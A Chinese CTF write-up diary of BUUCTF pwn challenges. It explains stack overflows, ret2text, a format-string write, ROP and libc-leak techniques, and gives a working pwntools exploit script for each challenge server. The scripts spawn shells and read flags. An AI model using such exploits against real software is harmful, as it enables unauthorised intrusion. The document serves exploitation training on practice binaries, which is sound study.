pwn题日记[BUU](持续更新中。。。)
0x01 test_your_nc
nc直接cat出了,没啥好说的。
0x02 rip
直接拉ida查看一下,标准的gets函数,大概率打一手缓冲区溢出的栈溢出
先checksec一下看看保护和架构啥的,栈保护没开,直接锤
一开始打没打通,报错如下,看一下栈帧情况说是有点不对劲,然后网上又搜了一下,不是直接输入15个字符之后就直接能造成溢出了,这块儿还得加8个字符,因为栈溢出修改call指令保存在栈上的返回地址( 即 eip / rip 的值),这样cpu执行ret指令的时候,就会将被修改的值从栈上取出放入 eip/rip 寄存器中,紧接着就会执行rip或eip所指地址处,至此完成了劫持程序控制流的操作。又该程序是64位的所以到ret之前还差8个字节(覆盖save rbp),因此需要15加上8个字符才能到retn。
exp:
1 2 3 4 5 6 7 8 9 from pwn import *context(os='linux' ,log_level='debug' ,arch='arm64' ) io = remote('node5.buuoj.cn' ,27232 ) sysadress = 0x40118A payload = b'a' *(15 +8 )+p64(sysadress) io.sendline(payload) io.interactive()
0x03 warmup_csaw_2016
跟上一题一样的知识点,都是栈溢出然后ret2text,拿到题看到了一些之前没见过的函数,如下图,write是标准输出,然后去搜了一下sprintf,用于造格式化字符串的
这题的考点还是在gets函数上面,直接造溢出就好了,记得是64位的程序,最后加8覆盖save rbp
然后直接到retn。不用拿shell了属于是,直接cat flag了
exp:
1 2 3 4 5 6 7 8 9 from pwn import *context(os="linux" ,log_level='debug' ,arch='arm64' ) io = remote('node5.buuoj.cn' ,28785 ) toadress = 0x000000000040060D payload = b'a' *(64 +8 )+p64(toadress) io.sendline(payload) io.interactive()
0x04 ciscn_2019_n_1
方法一:
拉进ida看一眼还是老朋友gets函数,直接造溢出就好了
这边用ret2text的话需要把v2的位置也给覆盖掉,跟到v1的栈区,由于retn在RBP处之后,所以这块儿需要把v2的四个字节也给覆盖掉才能快乐地cat flag
exp:
1 2 3 4 5 6 7 8 from pwn import *context(os="linux" ,log_level='debug' ,arch='amd64' ) io = remote("node5.buuoj.cn" ,26678 ) addres = 0x00000000004006BE payload = b'a' *(44 +4 +8 ) + p64(addres) io.sendline(payload) io.interactive()
方法二:
按照程序逻辑进行修改就好了,找到check用到的11.28125数字的
下图高亮处的值即为用于check的浮点数的16进制表示,双击跟过去取出来即可
exp:
1 2 3 4 5 6 7 from pwn import *context(os="linux" ,log_level='debug' ,arch='amd64' ) io = remote("node5.buuoj.cn" ,26678 ) payload = b'a' *44 + p64(0x41348000 ) io.send(payload) io.interactive()
0x05 pwn1_sctf_2016
也是审上代码了说是,但是代码反编译得太狗屎,有个copy,但是大概意思没太懂
调一下看看逻辑,输入 I 看看,发现最后会就将 i 替换为 you 用来占字符
这把没有老朋友gets函数打了,找了一下其他溢出点没太找到,但是这个交换值可以造溢出,把cat flag的函数地址找到之后,看一下输入值到 save ebp的距离,然后稍加计算,直接开打。又因是32位程序所以最后记得加 4 覆盖save ebp 然后就直接retn了。
exp:
1 2 3 4 5 6 7 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) io=remote('node5.buuoj.cn' ,25595 ) adress = 0x08048F0D payload = b'I' *20 +b'a' *4 +p32(adress) io.sendline(payload) io.interactive()
0x06 jarvisoj_level0
正常溢出题,一开始还以为read有什么不知道的可打的点,以为要在512字节之后造溢出,然后512+8之后发现打不通,再试试128+8然后就通了,就正常溢出,是我想多了,就跟打gets一样,后面的512是做输入限制的操作,这块儿完全够溢出了,所有不用理会
exp:
1 2 3 4 5 6 7 from pwn import *context(os='linux' ,log_level='debug' ,arch='amd64' ) io = remote("node5.buuoj.cn" ,25426 ) adress = 0x0000000000400596 payload = b'a' *(128 +8 ) + p64(adress) io.sendline(payload) io.interactive()
0x07 [第五空间2019 决赛]PWN5
先手查了一下保护,woc,居然给栈保护干开了,感觉不太好打
拉进ida瞅瞅先
一开始想直接用第二个read造一手溢出,但是长度不够,read的长度限制只给了99个字符(对了,栈好像还是有保护的,猪逼了这波。。。
学一手格式化字符串漏洞说是,感觉也就那么回事儿,这题思路主要就是用格式化字符串的漏洞来过,学了一手妙妙小连招,直接AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
,因为此处的printf漏了个可以打的破绽,有没有感觉怪怪的,一般的格式都是printf("%s",buf)
这样才对,这块儿给他弄一下,按照上面的格式看看程序怎么跑的
如下图,已知AAAA的十六进制为0x41,而%p的作用是打印栈上的指针地址的内容,也就是说,当我们输入的参数被压入栈后,往后数10个地方才是再次调用它的地方,偏移也就是10,那么就可以直接使用%n来打这个格式化字符串的漏洞,%n的作用是将输出的数的字节数写入对应地址去,而%x$n
,其中的x意指的是对应的偏移数,比如此处使用%10$n
的话即是向偏移为10的地方进行写入成功打印的字节长度。
按照程序的逻辑来说,当我们第二次密码的输入和该变量的值相等时就能直接拿shell,所以我们只需要使用上述所属的方法,往这个对应地址里覆盖掉随机生成的随机数密码即可,而用来覆盖的即是我们传入的字节长度
exp启动:
1 2 3 4 5 6 7 8 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) p = remote("node5.buuoj.cn" ,25028 ) bss=0x0804C044 payload1 =p32(bss)+b'%10$n' p.send(payload1) p.send(b'4' ) p.interactive()
0x08 (穿插一道这周打awd遇到的pwn题)
0x09 jarvisoj_level2
经典看保护
栈保护没开,最开心的一集,read直接造溢出了
ida里搜一下字符串(f12),由于这题直接给的system函数,但是把后门作为数据藏在了数据段,所以跳两次跳到这儿就好了
分别找到system命令函数的地址,然后还是同样的栈溢出打,136+4,因为是32位的,覆盖一下save esp直接到system函数地址了,然后同样也是覆盖一下save esp,也是用4个字节,然后跳到命令的地址直接执行就好了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) io = remote("node5.buuoj.cn" ,28583 ) elf = ELF("./pwn7" ) sysy = 0x08048320 comond = 0x0804A024 payload =b'a' *(136 +4 ) + p32(sysy) + b'a' *(4 ) + p32(comond) io.sendline(payload) io.interactive()
0x0A ciscn_2019_n_8
也是罕见的开上了不少保护哇
拉进ida瞅一眼的,程序逻辑是让var的[13]==0x11,动调看一下var是什么结构的
输入zzzz,然后在var中发现是四个字节一组
为了使得var[13]得到目标值,直接上payload,对于字节的概念还是有点小模糊,打印一下看看,p8()
将整数 0x11 转换为一个字节(8位无符号整数),而p32()
是四个字节,p64()
是八个字节
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) io=remote("node5.buuoj.cn" ,29551 ) payload = b'a' *(13 *4 )+p8(0x11 ) io.sendline(payload) io.interactive()
0x0B bjdctf_2020_babystack
先查保护,最不喜欢的栈保护没开,太棒啦
ida启动!就简单的栈溢出,差点被这个12给骗了,最后算了一下偏移才知道偏移是0x10
找到后门之后直接正常搓脚本就行了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(os='linux' ,log_level='debug' ,arch='amd64' ) io = remote("node5.buuoj.cn" ,28975 ) address = 0x00000000004006E6 payload = b'a' *(16 +8 )+p64(address) io.recv() io.sendline('32' ) io.recv() io.sendline(payload) io.interactive()
0x0C ciscn_2019_c_1
正常看保护
拉进ida没有查看到什么可打的点,跟几个函数看看
begin里面是做选择,也没有可打的点
?!encrypt里有最喜欢的gets,好极了,算是有触发点了
f12翻找了一下,没有最喜欢的后门,看来这把只能自己构造了,参照[BUUCTF]ciscn_2019_c_1_buuctf中ciscn——2019-CSDN博客
先找pop rdi这条指令的地址,直接借助工具找ROPgadget --binary 'filename' |grep "pop rdi" # filename填自己的文件名
这个rdi用处不小,后面用来存参数然后进行跳转,同时需要注意本题给了提示是,Ubuntu 18同时又是64位,我们需要libc的对应版本,直接去BUU的资料上找就好了
got表:包含函数的真实地址,包含libc函数的基址,用于泄露地址
plt表:不用知道libc函数真实地址,使用plt地址就可以调用函数
libc是linux下的c函数库,包含各种常用的函数,在程序执行时才被加载到内存中,libc是一定可以执行的,跳转到libc中函数绕过NX保护
直接上exp:(建议先学rop,不然下列代码有点。。。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(os='linux' ,log_level='debug' ,arch='arm64' ) io = remote("node5.buuoj.cn" ,27031 ) libc = ELF('libc-2.27.so' ) elf = ELF('./pwn10' ) main_adress = 0x0000000000400B28 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] rdi_adress = 0x0000000000400c83 io.sendlineafter(b"Input your choice!\n" ,b'1' ) payload = b'\x00' +b"a" *(0x50 +8 -1 ) + p64(rdi_adress) + p64(puts_got) + p64(puts_plt) + p64(main_adress) io.sendlineafter("Input your Plaintext to be encrypted\n" ,payload) io.recvuntil(b"Ciphertext\n" ) io.recvuntil("\n" ) puts_address = u64(io.recv(6 ).ljust(0x8 ,b'\x00' )) libc_puts_address = libc.sym['puts' ] libc_base = puts_address - libc_puts_address print (hex (libc_base))io.sendlineafter(b"Input your choice!\n" ,b'1' ) io.recvuntil(b"Input your Plaintext to be encrypted\n" ) sys_address = libc_base + libc.sym['system' ] bin_address = libc_base + libc.search('bin/sh\x00' ).__next__() end_address = 0x0000000000400C1C payload1 = b'\x00' + b"a" *(0x50 +8 -1 )+ p64(end_address) + p64(rdi_adress) + p64(bin_address) + p64(sys_address) io.sendline(payload1) io.interactive()
0x0D get_started_3dsctf_2016
也是查上保护了
就经典栈溢出,32位的栈上传参就好了,但是此处记得跟一个exit的地址,因为没有开启标准输入输出,所以flag的读取都是存在缓冲区的,跟一个exit使得函数返回,使flag有回显。
还有个问题就是,在主函数中并还没有push ebp的操作,所以这题也不需要用来覆盖save ebp 的四个字节
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) io = remote("node5.buuoj.cn" ,25303 ) target_address = 0x080489A0 a1 = 0x308CD64F a2 = 0x195719D1 exit_address = 0x0804E6A0 payload = b'a' *(0x38 )+ p32(target_address) +p32(exit_address) + p32(a1) + p32(a2) io.sendline(payload) io.interactive()
0x0E jarvisoj_level2_x64
查保护先,没有栈保护,最喜欢的一集
read直接造溢出了,同时给了system和bin/sh,64位寄存器传参直接打了,先找pop rdi这条指令的地址,直接借助工具找ROPgadget --binary 'filename' |grep "pop rdi" # filename填自己的文件名
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(os='linux' ,log_level='debug' ,arch='arm64' ) io = remote("node5.buuoj.cn" ,28426 ) sys_address = 0x00000000004004C0 bin_sh_address = 0x0000000000600A90 rdi_address = 0x00000000004006b3 payload = b'a' *(0x80 +8 )+p64(rdi_address)+p64(bin_sh_address)+p64(sys_address) io.sendline(payload) io.interactive()
0x10 [HarekazeCTF2019]baby_rop
先查保护,栈保护没开,最喜欢的一集
和上一道题一样的思路打就行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(os='linux' ,log_level='debug' ,arch='amd64' ) io=remote("node5.buuoj.cn" ,28794 ) sys_address = 0x0000000000400490 bin_sh_address = 0x0000000000601048 rdi_address = 0x0000000000400683 payload = b'a' *(0x10 +8 )+p64(rdi_address)+p64(bin_sh_address)+p64(sys_address) io.sendline(payload) io.interactive()
就是最后cat flag的时候要注意,它flag不是放在根目录的,先输入find -name flag
找一下,确定路径之后直接cat
0x11 others_shellcode
先看保护
直接看程序逻辑,main里面直接走getshell的逻辑了
本地运行了一下,直接拿shell了,抽象,nc一下直接出了
0x12 [OGeek2019]babyrop
先查一手保护
先从随机数文件中给读取一组随机数到buf
进第二个函数 sub_804871F,提示用户输入并与先前的随机数进行check,返回值为零才正常返回这个函数,否则直接退出,这块儿还是想办法绕过这个check,直接用\x00
就好了,同时注意一下返回的值,是buf[7]
继续看下一个函数 sub_80487D0 ,上个函数返回出来的buf[7]充当参数传进这个函数,通知将a1作为read的读取字符数量参数进行使用,这不就是送上门的栈溢出吗
总结一下思路直接写了,同样也是先泄露put的地址然后计算libc的基址
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) io=remote("node5.buuoj.cn" ,27466 ) elf = ELF('pwn15' ) libc = ELF('libc-2.23.so' ) def bug (): gdb.attach() pause() main_address = 0x08048825 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] libc_putaddress = libc.sym['puts' ] payload = b'\x00' +b'\xff' *7 io.sendline(payload) payload11 = b'a' *(0xE7 +4 )+p32(puts_plt)+p32(main_address)+p32(puts_got) io.sendlineafter(b"Correct\n" ,payload11) puts_address = u32(io.recv(4 )) print (hex (puts_address))libc_base = puts_address - libc_putaddress print (hex (libc_base))sys_address = libc.sym['system' ] sysreal_address = libc_base + sys_address bin_address = libc_base+libc.search('bin/sh\x00' ).__next__() payload1 = b'\x00' +b'\xff' *7 io.sendline(payload1) payload2 = b'a' *(0xE7 +4 )+p32(sysreal_address)+p32(666 )+p32(bin_address) io.sendlineafter(b"Correct\n" ,payload2) io.interactive()
0x13 ciscn_2019_n_5
查保护哩
看了一下name的地址,在bss段中,read这块儿打不了溢出,原打算直接一遍打通的,read这块儿看样子是不行了,那只能是分两次打了,第一遍正常泄露地址找libc基址,然后第二遍直接构建rop链
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(os='linux' ,log_level='debug' ,arch='amd64' ) io = remote("node5.buuoj.cn" ,25005 ) elf = ELF('./pwn16' ) libc = ELF('libc-2.27.so' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] rdi_address = 0x0000000000400713 main_address = 0x0000000000400636 return_address = 0x00000000004006AA io.sendafter("tell me your name\n" ,b'1' ) payload = b'a' *(0x20 +8 )+p64(rdi_address)+p64(puts_got)+p64(puts_plt)+p64(main_address) io.sendlineafter('What do you want to say to me?\n' ,payload) puts_address = u64(io.recv(6 ).ljust(0x8 ,b'\x00' )) print (hex (puts_address))libc_address = puts_address - libc.sym['puts' ] system_address = libc_address + libc.sym['system' ] bin_sh_address = libc_address + libc.search('bin/sh\x00' ).__next__() print (hex (libc_address))io.sendafter("tell me your name\n" ,b'1' ) payload1 = b'a' *(0x20 +8 ) +p64(return_address)+p64(rdi_address)+p64(bin_sh_address) + p64(system_address) io.sendlineafter("What do you want to say to me?\n" ,payload1) io.interactive()